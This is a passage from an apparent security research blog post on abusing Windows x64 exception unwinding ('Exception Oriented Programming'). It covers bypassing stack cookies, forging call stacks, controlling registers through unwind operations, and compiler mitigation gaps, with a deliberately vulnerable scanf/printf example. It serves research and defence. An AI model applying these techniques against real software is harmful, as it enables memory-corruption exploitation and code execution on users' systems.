markdown--><ol>
<li><code>__GSHandlerCheck</code> - This handler takes an undocumented structure from the <code>UNWIND_INFO</code>&apos;s <code>ExceptionData</code> field and passes it to <code>__GSHandlerCheckCommon</code>. If this call succeeds, <code>__GSHandlerCheck</code> returns <code>EXCEPTION_EXECUTE_HANDLER</code>.
<ul>
<li><code>__GSHandlerCheckCommon</code> parses this undocumented structure to find the location of the security cookie for the function the exception was occurring in. Then, it emulates the cookie check usually found in the epilog of a function by XOR&apos;ing the cookie from the stack and jumping to <code>__security_check_cookie</code>.</li>
</ul>
</li>
<li><code>__GSHandlerCheck_SEH</code> - This function does nearly the same thing as <code>__GSHandlerCheck</code>, except after checking the security cookie, it calls <code>__C_specific_handler</code>.</li>
</ol>
<!--kg-card-end: markdown--><p>Taking a look at the functions that <code>__GSHandlerCheck</code> and <code>__GSHandlerCheck_SEH</code> were assigned to revealed that all of them had security cookie checks built into them. The <code>__GSHandlerCheck_SEH</code> variant appeared to be used in functions that <em>also had an exception handler</em>, whereas <code>__GSHandlerCheck</code> was used in functions with only a security cookie check.</p><h3 id="msvc-mitigation">MSVC Mitigation</h3><pre><code class="language-c++">void GetString() {
	char tempBuffer[16];

	scanf(&quot;%s&quot;, tempBuffer);
	printf(tempBuffer);
}
</code></pre><p>This was a smart mitigation by Microsoft. The purpose behind these exception handlers is to prevent attackers from being able to escape a security cookie check by causing an exception. For example, take a look at what happens when I compile the previous <code>GetString</code> function using the MSVC++ compiler:</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/bDjtjHo.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>Although <code>GetString</code> does not use an exception handler, it is built with one anyway. The disassembly above shows that the unwind handler is defined as <code>__GSHandlerCheck</code>. Even if an attacker could cause an exception in <code>GetString</code> (i.e. with a bad format string), before unwinding the stack, <code>__GSHandlerCheck</code> would be called, and a security cookie check would occur- preventing the bypass. Additionally, there are <code>__GSHandlerCheck</code> variants for several other common &quot;language-specific&quot; handlers such as <code>__GSHandlerCheck_EH</code> for C++&apos;s <code>__CxxFrameHandler3</code>.</p><p>Outside of our example, this is an effective mechanism that makes abuse of exceptions <strong>in applications that use the MSVC compiler</strong> significantly more difficult. With this mitigation, an attacker would need to predict the security cookie of the function they can cause an overflow in. Note that this doesn&apos;t mean an attacker knows the security cookie for all functions.</p><p>If an attacker could get around the initial security cookie, they could likely leverage ROP. There are some advanced attacks with exceptions we&apos;ll discuss that can provide more powerful primitives than ROP, however. Additionally, as we&apos;ll review in a later section, exceptions can be a solid alternative to ROP in environments that use the MSVC compiler and hardware mitigations like Intel&apos;s <a href="https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html">Control Flow Enforcement Technology</a> (CET).</p><h3 id="what-about-other-compilers">What About Other Compilers?</h3><p>A noteworthy caveat in my last paragraph is that Microsoft&apos;s mitigation makes our lives harder only in applications that use MSVC. What about applications created with other compilers for Windows?</p><h4 id="clangllvm">Clang/LLVM</h4><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/qO3h4xa.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>For the <code>GetString</code> original example, I used Clang/LLVM in Visual Studio, which <strong>does not use the <code>__GSHandlerCheck</code> mitigation for functions with security cookie checks</strong>. This means that any application compiled with Clang/LLVM at the time of writing is vulnerable.</p><h4 id="gcc">GCC</h4><p>Although GCC does not support SEH-style <code>__try</code>/<code>__except</code> blocks, it still uses SEH for C++ exceptions. We can replace our main function with a C++ <code>try</code>/<code>catch</code> block to compile the application.</p><figure class="kg-card kg-image-card"><img src="https://i.imgur.com/n8RoTU5.png" class="kg-image" alt="Abusing Exceptions for Code Execution, Part 2" loading="lazy"></figure><p>As you can see, there is no unwind block for <code>GetString</code>, demonstrating that applications compiled for GCC are also vulnerable to this attack.</p><h4 id="honorable-mentions">Honorable Mentions</h4><p>A side note- several compiled languages outside of C/C++ for Windows, like Rust and GoLang, do not have an equivalent to the <code>__GSHandlerCheck</code> mitigation. But, of course, these languages are designed to be inherently safe against these vulnerabilities in the first place, assuming developers don&apos;t use the <code>unsafe</code> functionality.</p><h3 id="most-applications-use-msvc-though%E2%80%A6-right">Most Applications Use MSVC, Though&#x2026; Right?</h3><p>It may seem as if the threat of this attack is reduced on Windows because of the MSVC mitigation. However, although many applications are compiled with MSVC, Clang/GCC is still frequently used, especially for cross-platform applications.</p><p>I&apos;ll give you a great example. What if I told you that the top three browsers on Windows are vulnerable to this attack?</p><p><a href="https://blog.llvm.org/2018/03/clang-is-now-used-to-build-chrome-for.html">Google Chrome</a>, <a href="https://www.mozilla.org/en-US/firefox/63.0beta/releasenotes#note-787678">Firefox</a>, and (ironically) Microsoft Edge use Clang/LLVM, which does not have a <code>__GSHandlerCheck</code> mitigation equivalent (<em>yet</em>). This means that if there was a stack overflow vulnerability in the browser you might be reading this article on, an attacker could potentially abuse exceptions to escape security cookie checks!</p><p>The wrong takeaway would be that developers should use MSVC over its alternatives or that this is somehow the fault of Clang/GCC&apos;s developers. Yes, applications compiled with Clang/GCC are not protected against this attack at the time of writing, but that can change. Microsoft should proactively work with compiler developers to share the mitigations developed for MSVC. This would only help make the ecosystem more secure as a whole.</p><h3 id="%E2%80%A6-microsoft-has-known-about-this-for-how-long">&#x2026; Microsoft Has Known About This for How Long?</h3><p>One question that caught my curiosity was, &quot;<em>How long has Microsoft known about the attack of abusing exceptions to escape security cookies?</em>&quot;. Several old versions of 64-bit binaries I looked at seemed to contain the <code>__GSHandlerCheck</code> function.</p><p>For a more conclusive answer around a date, I sought out several old versions of Windows and checked if their <code>ntdll</code> binaries contained <code>__GSHandlerCheck</code>. I was shocked to find an <code>ntdll</code> binary <strong>signed in 2008</strong> for Windows Vista with this mitigation in place. This suggests that Microsoft has known about this attack for at least 15 years!</p><p>Now that we&apos;ve introduced the trivial implementation of Exception Oriented Programming for stack overflow vulnerabilities, let&apos;s revisit the SEH unwinding process and explore advanced attacks.</p><h1 id="an-alternative-to-rop">An Alternative to ROP</h1><h1 id="background-1">Background</h1><h3 id="unwind-operations">Unwind Operations</h3><pre><code class="language-c">typedef struct _UNWIND_INFO {
	unsigned char Version : 3;
	unsigned char Flags : 5;
	unsigned char SizeOfProlog;
	unsigned char CountOfCodes;
	unsigned char FrameRegister : 4;
	unsigned char FrameOffset : 4;
	UNWIND_CODE UnwindCode[1];
/*  UNWIND_CODE MoreUnwindCode[((CountOfCodes+1)&amp;~1)-1];
 *  union {
 *      OPTIONAL unsigned long ExceptionHandler;
 *      OPTIONAL unsigned long FunctionEntry;
 *  };
 *  OPTIONAL unsigned long ExceptionData[];
 */
} UNWIND_INFO, * PUNWIND_INFO;
</code></pre><p>In an earlier section about the exception directory and unwind info structure, we skipped over the <code>UNWIND_CODE</code> structure as it was irrelevant at the time.</p><pre><code class="language-c">typedef union _UNWIND_CODE {
	struct {
		unsigned char CodeOffset;
		unsigned char UnwindOp : 4;
		unsigned char OpInfo : 4;
	};
	unsigned short FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
</code></pre><p><code>UNWIND_CODE</code> entries specify the operations required to &quot;unwind&quot; (or undo) the changes a given function&apos;s prolog has made to registers or the stack. Here are the various <a href="https://learn.microsoft.com/en-us/cpp/build/exception-handling-x64">documented</a> operations an <code>UNWIND_CODE</code> structure can contain:</p><ol><li><code>UWOP_PUSH_NONVOL</code> - This operation specifies that a nonvolatile integer register was pushed to the stack. The <code>OpInfo</code> field specifies what register was pushed. For example, if the prolog of a function contained <code>push rbp</code>, you would see a corresponding <code>UWOP_PUSH_NONVOL</code> operation.</li><li><code>UWOP_ALLOC_LARGE</code> / <code>UWOP_ALLOC_SMALL</code> - These operations specify that a specific size was allocated on the stack. You would expect to see these operations for instructions like <code>sub rsp, 0xABC</code>.</li><li><code>UWOP_SET_FPREG</code> - Specifies the frame pointer register and some offset of <code>rsp</code>. This operation is only used in functions that need a frame pointer in the first place, such as those that need dynamic stack allocations. An example instruction for this operation would include <code>lea rbp, [rsp+offset]</code>.</li><li><code>UWOP_SAVE_NONVOL</code> / <code>UWOP_SAVE_NONVOL_FAR</code> - These operations specify that a nonvolatile integer register was saved on the stack using a <code>mov</code> instruction rather than a <code>push</code>. Similar to <code>UWOP_PUSH_NONVOL</code>, the specific register is contained in the <code>OpInfo</code> field.</li><li><code>UWOP_SAVE_XMM128</code> / <code>UWOP_SAVE_XMM128_FAR</code> - These operations are used to save XMM register values.</li><li><code>UWOP_PUSH_MACHFRAME</code> - This is a special type of operation that indicates the function is a hardware interrupt or exception handler that receives a &quot;machine frame&quot; from the stack. This frame contains information about the state of various registers at the time the interrupt/exception occurred. An example of a function with this operation in user-mode includes <code>ntdll!KiUserExceptionDispatcher</code>.</li></ol><p>With a basic understanding of how the dispatcher can unwind the effects of various functions, let&apos;s go through an example.</p><h3 id="dumping-the-exception-directory-of-ntdll">Dumping the Exception Directory of NTDLL</h3><p>As a small demo of everything we&apos;ve learned, we can use the Python <a href="https://github.com/erocarrera/pefile">pefile</a> package to enumerate the exception directory of any PE module. Here is a small script that will print the runtime function entries of a binary specified by the first argument.</p><pre><code class="language-python">import sys
import pefile

pe = pefile.PE(sys.argv[1])
for runtime_function in pe.DIRECTORY_ENTRY_EXCEPTION:
    print(&quot;\n&quot;.join(runtime_function.struct.dump()))
    if hasattr(runtime_function, &quot;unwindinfo&quot;) and \
       runtime_function.unwindinfo is not None:
        print(&quot;\n\t&quot;.join(runtime_function.unwindinfo.dump()))
</code></pre><p>The <code>ntdll.dll</code> on my machine produced 4884 unique runtime function entries. This doesn&apos;t mean that there are 4884 functions in <code>ntdll.dll</code> with an exception handler- entries often only contain the operations needed to unwind a given function.</p><pre><code>[RUNTIME_FUNCTION]
0x168A40   0x0   BeginAddress:                  0x4C270   
0x168A44   0x4   EndAddress:                    0x4C45F   
0x168A48   0x8   UnwindData:                    0x146D50  
    [UNWIND_INFO]
    0x143F50   0x0   Version:                       0x1       
    0x143F50   0x0   Flags:                         0x3       
    0x143F51   0x1   SizeOfProlog:                  0x1F      
    0x143F52   0x2   CountOfCodes:                  0x8       
    0x143F53   0x3   FrameRegister:                 0x0       
    0x143F53   0x3   FrameOffset:                   0x0       
    0x143F64   0x14  ExceptionHandler:              0x9CC44   
    Flags: UNW_FLAG_EHANDLER, UNW_FLAG_UHANDLER
    Unwind codes: .ALLOCSTACK 0x70; .PUSHREG R15; .PUSHREG R14; .PUSHREG R13; .PUSHREG R12; .PUSHREG RDI; .PUSHREG RSI; .PUSHREG RBX
</code></pre><p>I&apos;ve noted a couple of times that the unwind operations are there to &quot;undo&quot; the prolog of the function. I&apos;d like to show a practical example of this. Above, we have the runtime function entry for <code>ntdll!RtlQueryAtomInAtomTable</code>. Look at the instructions in the epilog of the function (intended to &quot;restore&quot; the changes of the prolog) and see if you notice a pattern with the unwind operations:</p><pre><code class="language-c">RtlQueryAtomInAtomTable proc near
; __unwind { // __GSHandlerCheck_SEH
; PROLOG
; ...
; FUNCTION CONTENT
; ...
mov     rcx, [rsp+0A8h+var_48]
xor     rcx, rsp        ; StackCookie
call    __security_check_cookie
; EPILOG
add     rsp, 70h			; .ALLOCSTACK 0x70
pop     r15				; .PUSHREG R15
pop     r14				; .PUSHREG R14
pop     r13				; .PUSHREG R13
pop     r12				; .PUSHREG R12
pop     rdi				; .PUSHREG RDI
pop     rsi				; .PUSHREG RSI
pop     rbx				; .PUSHREG RBX
retn
; }
RtlQueryAtomInAtomTable endp
</code></pre><p>The instructions in the epilog match the unwind operations and occur in the same order too! This is why runtime function entries are critical to the unwinding process. They effectively tell you how to restore the state of the stack and registers at any point in time, even if you&apos;re in the middle of executing a function. Without this context, writing a reliable unwinding mechanism to support arbitrary continuation at an exception handler would be much more challenging.</p><h3 id="what-about-cet-shadow-stacks">What About CET / Shadow Stacks?</h3><p>An interesting mitigation we have not yet covered is Hardware-enforced Stack Protection, otherwise known as <a href="https://www.intel.com/content/www/us/en/developer/articles/technical/technical-look-control-flow-enforcement-technology.html">Control-flow Enforcement Technology</a> (CET) for Intel CPUs and shadow stacks for AMD CPUs.</p><p>At a high level, when a function is called and a return address is pushed on the regular stack, a copy of that return address is also pushed on a &quot;shadow stack&quot; region. When the function returns, the address on the normal stack, which could have been corrupted by an attacker, is compared with the value on the shadow stack. If these values don&apos;t match, the program is terminated.</p><p>This is an opt-in mitigation, meaning you won&apos;t find it turned on by default. In 2021, Google Security <a href="https://security.googleblog.com/2021/05/enabling-hardware-enforced-stack.html">wrote a blog</a> about the work that went into enabling shadow stacks for Chrome. Although shadow stacks certainly aren&apos;t commonplace for most applications, it&apos;s a mitigation we may see increased adoption of in the future as it becomes more standardized.</p><p>This article is not intended to be a comprehensive look into how shadow stacks work in practice. If you&apos;re curious and want to learn more about specific implementation details, check out &quot;<a href="https://windows-internals.com/cet-on-windows/"><em>RIP ROP: CET Internals in Windows 20H1</em></a>&quot; by <a href="https://twitter.com/yarden_shafir">Yarden Shafir</a> and <a href="https://twitter.com/aionescu">Alex Ionescu</a>.</p><p>Going back to our trivial implementation of Exception Oriented Programming, let&apos;s say we are in the context of a process with Hardware-enforced Stack Protection. Even if we did escape a security cookie check by throwing an exception into a handler without one, when the handler returns, our corrupted return address on the stack would not match what&apos;s on the shadow stack and thus prevent our attack.</p><h2 id="core-concepts">Core Concepts</h2><p>In a classical ROP attack, the epilogues of functions are chained together to perform various operations, such as modifying registers and the stack, before returning to a function, simulating a call. Security cookies initially posed a significant challenge to ROP, as you typically couldn&apos;t modify the return address without also corrupting the cookie. With the next generation of system mitigations like shadow stacks, ROP is only becoming more challenging of an attack to leverage in real-world scenarios.</p><p>The trivial approach of escaping a security cookie check by throwing an exception only scratches the surface of what is possible through the unwinding process.</p><p>Here is a quick reminder about how exception dispatching works from a high level:</p><!--kg-card-begin: markdown--><ol>
<li><code>RtlDispatchException</code> is called, which &quot;virtually unwinds&quot; the stack and calls the exception handlers for functions with the <code>UNW_FLAG_EHANDLER</code> flag in their <code>UNWIND_INFO</code> structure.
<ul>
<li>If a handler returns <code>EXCEPTION_CONTINUE_EXECUTION</code>, the virtual unwinding process is halted, and execution continues where the exception occurred, <strong>with the original state of the registers</strong>.</li>
<li>If a handler returns <code>EXCEPTION_CONTINUE_SEARCH</code>, the virtual unwinding process continues for other exception handlers.</li>
<li>If in the context of the C-specific language handler and the exception filter (handler address) returns <code>EXCEPTION_EXECUTE_HANDLER</code>, <code>RtlUnwind</code> is called.</li>
</ul>
</li>
<li>If <code>RtlUnwind</code> is called (i.e. by <code>__C_specific_handler</code>), the state of the stack/registers is unwound to continue execution at the C-specific exception handler (jump target). Unlike &quot;virtual&quot; unwinding, changes made to the <code>CONTEXT</code> structure by unwind operations <strong>will be reflected</strong> when execution continues at the handler.</li>
</ol>
<!--kg-card-end: markdown--><p>There is an enormous amount of attack surface here. Sure, in the context of 64-bit applications, we will generally be limited to legitimate exception handlers and <code>UNWIND_INFO</code> structures. This is similar to how we are stuck with executing the epilog&apos;s of legitimate functions with ROP as &quot;gadgets&quot;. As an attacker with a stack overflow vulnerability, however, since we can overwrite the call stack with whatever we want, we have <strong>complete control over <em>what</em> legitimate functions are used in the unwinding process and the <em>order</em> in which they are used</strong>.</p><p>How? In our trivial example, we modified the caller of our function <em>with</em> a cookie check to be a legitimate function that has an exception handler <em>without</em> a cookie check. Why stop at adding only one function to the call stack? Why not leverage unwind operations to modify registers to use untrusted values from the stack we control? This is where things start to get interesting. Let&apos;s break these attacks down.</p><h3 id="what-can-we-do-in-rtldispatchexception-with-control-over-the-stack">What Can We Do in <code>RtlDispatchException</code> with Control over the Stack?</h3><p>The first half of exception dispatching is to &quot;virtually unwind&quot; the stack in <code>RtlDispatchException</code>, calling exception handlers as we encounter them. As an attacker with influence over the stack, we can dictate the legitimate functions that <code>RtlDispatchException</code> will use when &quot;virtually unwinding&quot;. So what does that let us do?</p><p>In the context of Windows binaries, we often deal with the C-specific language handler, where functions can specify what exceptions they want to catch with an exception filter. Remember that the C-specific exception handlers (jump targets) are triggered via <code>RtlUnwind</code>, which is outside the scope of <code>RtlDispatchException</code>.</p><p>Unfortunately, combined with the fact that the <code>CONTEXT</code> record we can influence when &quot;virtual unwinding&quot; occurs isn&apos;t used anywhere outside of this function, there is not much we can do in <code>RtlDispatchException</code> <strong>alone</strong> other than trigger a &quot;desirable&quot; C-specific exception handler (jump target) for unwinding.</p><p>To trigger a legitimate function&apos;s C-specific exception handler (jump target), we face two main requirements:</p><!--kg-card-begin: markdown--><ol>
<li>We need to know the address of the legitimate function (i.e. by knowing where the module is located).
<ul>
<li>There is a slight exception we&apos;ll discuss later: we can leverage a partial return address overwrite to access the functions in the same module as what&apos;s already on our call stack.</li>
</ul>
</li>
<li>The function&apos;s exception filter (handler address) needs to be 1 or return <code>EXCEPTION_EXECUTE_HANDLER</code> for our exception code.</li>
</ol>
<!--kg-card-end: markdown--><p>Once we meet these requirements, the next step is to figure out where to write our &quot;fake return address&quot; on the stack. Our goal is to trick the unwinding process into thinking the function with our desired exception handler &quot;called&quot; the function where we generated an exception; hence it should be the one to handle our exception.</p><p>For our first parent caller, knowing the location to write is easy- it&apos;s just where the actual return address for the previous function is. Once we overwrite the first return address, however, we need to do some math.</p><pre><code>[RUNTIME_FUNCTION]
...
    [UNWIND_INFO]
    ... 
    Unwind codes: .ALLOCSTACK 0x70; .PUSHREG R15; .PUSHREG R14; .PUSHREG R13; .PUSHREG R12; .PUSHREG RDI; .PUSHREG RSI; .PUSHREG RBX
</code></pre><p>Let&apos;s go through a quick example with <code>ntdll!RtlQueryAtomInAtomTable</code>. Imagine we replaced the first caller on the stack with an address to <code>RtlQueryAtomInAtomTable</code>. Where would we write the second caller&apos;s return address?</p><p>Each function&apos;s prolog is going to impact the stack differently. We have to account for each unwind operation that modifies <code>Rsp</code>. In this case, we have a stack allocation of 0x70 bytes (<code>sub rsp, 0x70</code>) and 7 registers being pushed (<code>push r??</code>). Assume our offset is relative to the <code>location of the previous return address + 0x8</code>. To calculate the total stack allocation for <code>RtlQueryAtomInAtomTable</code>, we do <code>0x70 + 0x8*7 = 0xA8</code>, where 0x70 is our stack allocation, and 0x8*7 accounts for each register that was pushed. This means our next return address would be written to <code>Rsp + 0xA8</code> following the previous one.</p><p>As I mentioned earlier, you can look at the <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L114">source code of RtlDispatchException</a> in the leaked Windows Research Kernel yourself. Additionally, <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L960">here is the specific code</a> that will tell you exactly how each unwind operation modifies <code>Rsp</code>.</p><p>Now that we know how to do this math, we can chain together an unlimited amount of functions on the call stack- while accounting for how they impact <code>Rsp</code>. However, before we get into <code>RtlUnwind</code>, there is one more small step to understand.</p><pre><code class="language-c">typedef struct _SCOPE_TABLE_AMD64 {
    DWORD Count;
    struct {
        DWORD BeginAddress;
        DWORD EndAddress;
        DWORD HandlerAddress;
        DWORD JumpTarget;
    } ScopeRecord[1];
} SCOPE_TABLE_AMD64, *PSCOPE_TABLE_AMD64;
</code></pre><p>Our first requirement was to know the location of the legitimate function protected by our desirable exception handler. Writing this function&apos;s address to the call stack alone is not sufficient. Remember that the scope record structure specifies what part of the function is protected by a given filter/handler with the <code>BeginAddress</code>/<code>EndAddress</code> fields. To ensure we trigger our desired <code>JumpTarget</code> handler, we need to add <em>at least</em> the <code>BeginAddress</code> of the relevant scope to our image base rather than only the function offset.</p><p>To recap, <code>RtlDispatchException</code> will virtually unwind through each function in our fake call stack. Once the entry with our desirable exception handler is reached, <code>__C_specific_handler</code> is called. Then, since our return address is within the scope bounds, the exception filter is called, which returns <code>EXCEPTION_EXECUTE_HANDLER</code> (or is 1, which means the same thing). This will trigger a final call to <code>RtlUnwind</code>, responsible for unwinding the stack and resuming execution at our exception handler!</p><p>The following section is where we&apos;ll get into some fun bits and explore why we&apos;d want to include other functions (including those without exception handlers) before our final target.</p><h3 id="what-can-we-do-in-rtlunwind-with-control-over-the-stack">What Can We Do in <code>RtlUnwind</code> with Control over the Stack?</h3><p>Now that we understand how to create a fake call stack with any function we want and how to trigger <code>RtlUnwind</code> from the context of an exception, let&apos;s get into some primitives.</p><p>A quick reminder about the differences between <code>RtlDispatchException</code> and <code>RtlUnwind</code>. In <code>RtlDispatchException</code>, the <code>CONTEXT</code> structure being modified does not impact anything other than the virtual unwind process itself, whereas in <code>RtlUnwind</code>, changes will be reflected when execution continues. Also, in <code>RtlDispatchException</code>, only functions with <code>UNW_FLAG_EHANDLER</code> in their unwind info structure will have their <code>ExceptionHandler</code> called, whereas in <code>RtlUnwind</code>, the same is true with the <code>UNW_FLAG_UHANDLER</code> flag.</p><p>The four primary &quot;primitives&quot; we can leverage in <code>RtlUnwind</code> are:</p><!--kg-card-begin: markdown--><ol>
<li>We can resume execution at any C-specific exception handler (jump target) whose location we know and whose exception filter we&apos;ve passed.</li>
<li>We can read untrusted values into registers from the stack <em>and</em> these values will be reflected once execution is resumed at our C-specific exception handler.</li>
<li>We can influence the offset on the stack we resume execution at.</li>
<li>We can execute any termination/unwind handler we want on our way to the unwind destination.
<ul>
<li>For example, before reaching our desired exception handler (jump target), we could trigger the <code>__finally</code> blocks for any function we know the address of. This can lead to scenarios like a use-after-free or double-free.</li>
</ul>
</li>
</ol>
<!--kg-card-end: markdown--><p>We&apos;ve covered how to do #1 already in the previous section. What about the other primitives?</p><h4 id="modify-any-register-we-want">Modify Any Register We Want</h4><p>Earlier I said there were reasons we would want to include functions on our call stack <em>prior</em> to the function with our desirable exception handler. We can leverage the unwind operations of any function we know the location of to modify registers before we resume execution at a desirable exception handler.</p><p>How? Many functions do not have an exception handler defined, but they still have a runtime function / unwind info entry to allow them to be unwound. The reason unwind operations can provide us with very powerful primitives is because they are designed to restore untrusted data from the stack into registers to which we otherwise wouldn&apos;t have access.</p><p>For example, take the <code>UWOP_PUSH_NONVOL</code> operation that represents <code>PUSH REGISTER</code> instructions. Let&apos;s say our fake call stack had two functions, one that has no handler with a <code>UWOP_PUSH_NONVOL</code> unwind operation and one that has our desired exception handler. When the first function is unwound, <code>RtlVirtualUnwind</code> in <code>RtlUnwind</code> will replace the value of <code>REGISTER</code> with an untrusted value from the stack. By including this function in our call stack, we have direct control over the value of <code>REGISTER</code> when execution resumes at our exception handler. Even more powerful- we can chain together multiple functions with desirable unwind operations on the call stack to ultimately influence the value of almost every register!</p><p>Although you can see what each unwind operation does in the <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L960">leaked Windows Research Kernel</a>, I&apos;ve created a small summary of the primitives they give us below:</p><!--kg-card-begin: markdown--><ol>
<li><code>UWOP_PUSH_NONVOL</code> - Pulls an untrusted value from the stack and places it into a register specified by the <code>OpInfo</code> field.</li>
<li><code>UWOP_ALLOC_LARGE</code> / <code>UWOP_ALLOC_SMALL</code> - Increments <code>Rsp</code> by a constant value.</li>
<li><code>UWOP_SET_FPREG</code> - Set <code>Rsp</code> to the register specified by the <code>FrameRegister</code> field. Subtract 16 * the <code>FrameOffset</code> field. Both fields are from the unwind info structure.</li>
<li><code>UWOP_SAVE_NONVOL</code> / <code>UWOP_SAVE_NONVOL_FAR</code> - Read a value from a constant offset on the stack into the register specified by the <code>OpInfo</code> field.</li>
<li><code>UWOP_PUSH_MACHFRAME</code> - Pulls an untrusted value from the stack and places it into <code>Rip</code>. <code>Rsp</code> is then replaced with an untrusted value from offset 0x18 of the current stack.
<ul>
<li>Note that <code>Rip</code> is replaced at the end of <code>RtlUnwind</code> (unless your exception code is <code>STATUS_UNWIND_CONSOLIDATE</code>), so no, you can&apos;t just restore execution at some arbitrary address from the stack.</li>
</ul>
</li>
</ol>
<!--kg-card-end: markdown--><p>As you can see, these operations provide powerful primitives to modify the state of registers before restoring at a legitimate exception handler. Of course, you would need to find these operations already present in an existing function&apos;s unwind info structure, but given that every function has an unwind info structure, you have a lot to choose from.</p><p>Another side effect to worry about is &quot;what if I only want to replace a few registers, but my unwind info structure contains operations I don&apos;t want?&quot;. Fortunately, there is a trick we can use to get around this.</p><pre><code class="language-c">typedef union _UNWIND_CODE {
	struct {
		unsigned char CodeOffset;
		unsigned char UnwindOp : 4;
		unsigned char OpInfo : 4;
	};
	unsigned short FrameOffset;
} UNWIND_CODE, *PUNWIND_CODE;
</code></pre><p>When unwind operations are enumerated, it&apos;s not as simple as &quot;just enumerate every operation if the exception address is in this function&quot;. For example, what happens if an exception occurs in the prolog?</p><p>To account for this exists the <code>CodeOffset</code> field of each <code>UNWIND_CODE</code> (unwind operation). An unwind operation is only executed if the address inside the function minus the function address itself is greater than or equal to the <code>CodeOffset</code>. This way, if an exception occurred in the prolog, only unwind operations corresponding to instructions that have already been executed would be processed.</p><p>This functionality is helpful because we can specify which unwind operation we want to start with!</p><pre><code>	[UNWIND_INFO]
	Unwind codes:
		0x10: .ALLOCSTACK 0x70
		0xc: .PUSHREG R15
		0xa: .PUSHREG R14
		0x8: .PUSHREG R13
		0x6: .PUSHREG R12
		0x4: .PUSHREG RDI
		0x3: .PUSHREG RSI
		0x2: .PUSHREG RBX
</code></pre><p>For example, above, the unwind operations for <code>ntdll!RtlQueryAtomInAtomTable</code> are prepended with their <code>CodeOffset</code> fields. If we wanted to only replace the value of <code>RBX</code>, we place the address of <code>RtlQueryAtomInAtomTable</code> + 0x2 on the stack. This works because <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L950">RtlpUnwindPrologue</a> will assume an exception occurred at the <code>PUSH RBX</code> instruction, thus only process that unwind operation.</p><h4 id="influence-the-stack-pointer">Influence the Stack Pointer</h4><p>Another useful primitive is the ability to modify the stack pointer. Here are the most prominent reasons this would be helpful:</p><!--kg-card-begin: markdown--><ol>
<li>If we want to return to a legitimate function on the call stack that we haven&apos;t modified after faking the functions &quot;below it&quot;, we need to align <code>Rsp</code> with that legitimate function&apos;s return address on the stack.
<ul>
<li>If we are executing a desirable exception handler (jump target) who will <code>ret</code> into a legitimate caller, we&apos;d need to account for the changes the handler will make to the stack.</li>
</ul>
</li>
<li>If we are using a partial return address overwrite (i.e. because we don&apos;t have a leak), then controlling <code>Rsp</code> would let us choose which return address on the legitimate call stack we want to perform an overwrite on.
<ul>
<li>Besides having a more comprehensive selection of modules to choose from, maybe we control the local variables for some caller and can find an exception handler that reads from these local variables.</li>
</ul>
</li>
</ol>
<!--kg-card-end: markdown--><p>The first method of influencing <code>Rsp</code> does require leaks, but it&apos;s relatively straightforward. As previously discussed, each function&apos;s unwind operations will impact <code>Rsp</code> differently. By placing legitimate functions on the call stack, we can use these unwind operations to increment <code>Rsp</code> by any amount we want. We can control this even further by using the previous trick of placing our return address in the middle of a prolog (to exclude certain unwind operations).</p><p>The second method of influencing <code>Rsp</code> without leaks is slightly more nuanced. When I was reading <a href="http://www.nynaeve.net/?p=105">part 3</a> of Ken Johnson&apos;s series explaining how 64-bit exception handling worked on Windows, this paragraph caught my eye:</p><blockquote>If RtlUnwindEx encounters a &quot;leaf function&quot; during the unwind process (a leaf function is a function that does not use the stack and calls no subfunctions), then it is possible that there will be no matching RUNTIME_FUNCTION entry for the current call frame returned by RtlLookupFunctionEntry. In this case, RtlUnwindEx assumes that the return address of the current call frame is at the current value of Rsp (and that the current call frame has no unwind or exception handlers). Because the x64 calling convention enforces hard rules as to what functions without RUNTIME_FUNCTION registrations can do with the stack, this is a valid assumption for RtlUnwindEx to make (and a necessary assumption, as there is no way to call RtlVirtualUnwind on a function with no matching RUNTIME_FUNCTION entry). The current call frame&apos;s value of Rsp (in the context record describing the current call frame, not the register value of rsp itself within RtlUnwindEx) is dereferenced to locate the call frame&apos;s return address (Rip value), and the saved Rsp value is then adjusted accordingly (increased by 8 bytes).</blockquote><p>Ken described the logic that occurs during unwinding when a return address is retrieved from the stack that does not have a corresponding function entry. This is helpful for our purposes because what it means is that if we put an invalid address on the stack, the unwinding process will consider it a &quot;leaf function&quot; (since it can&apos;t find a function entry) and skip over it! This allows us to increment <code>Rsp</code> by 8 by including invalid addresses in our call stack.</p><p>I ran into an issue when I was testing this out myself. I had placed one constant address on the stack repeatedly, hoping that <code>Rsp</code> would keep incrementing by 8. What happened instead was after the first instance of the invalid constant, unwinding failed. I found the answer while reading through the <a href="https://github.com/smartmaster/wrk-msvc/blob/master/BASE/NTOS/RTL/AMD64/EXDSPTCH.C#L409">WRK leak of RtlDispatchException</a>:</p><pre><code class="language-c">    //
    // If the old control PC is the same as the return address,
    // then no progress is being made and the function tables are
    // most likely malformed.
    //
    if (ControlPc == *(PULONG64)(ContextRecord1.Rsp)) {
        break;
    }
</code></pre><p>What was happening was that the unwinding process included a check to make sure the previous control point did not match the next control point. So, to fix the behavior of incrementing <code>Rsp</code> as many times as I wanted, all I had to do was swap between two invalid constants. For example, if I wanted to increment <code>Rsp</code> by 0x20, my call stack would look like the following:</p><pre><code>0x1111111111111111
0x2222222222222222
0x1111111111111111
0x2222222222222222
</code></pre><p>This is helpful when we don&apos;t have a leak because we can create a &quot;sled&quot; to get to any other legitimate return address on the stack.</p><h3 id="summary">Summary</h3><p>To summarize the advanced variants of Exception Oriented Programming here is what we can do as an attacker with a stack overflow vulnerability:</p><!--kg-card-begin: markdown--><ol>
<li>We can restore execution at any C-specific exception handler (jump target) we know the location of.</li>
<li>We can directly control the state of registers when an exception is handled.
<ul>
<li>This could be leveraged to corrupt the caller&apos;s state when our exception handler returns to a given function.</li>
</ul>
</li>
<li>We can call the termination handler (<code>__finally</code> block) in any function we know the location of.
<ul>
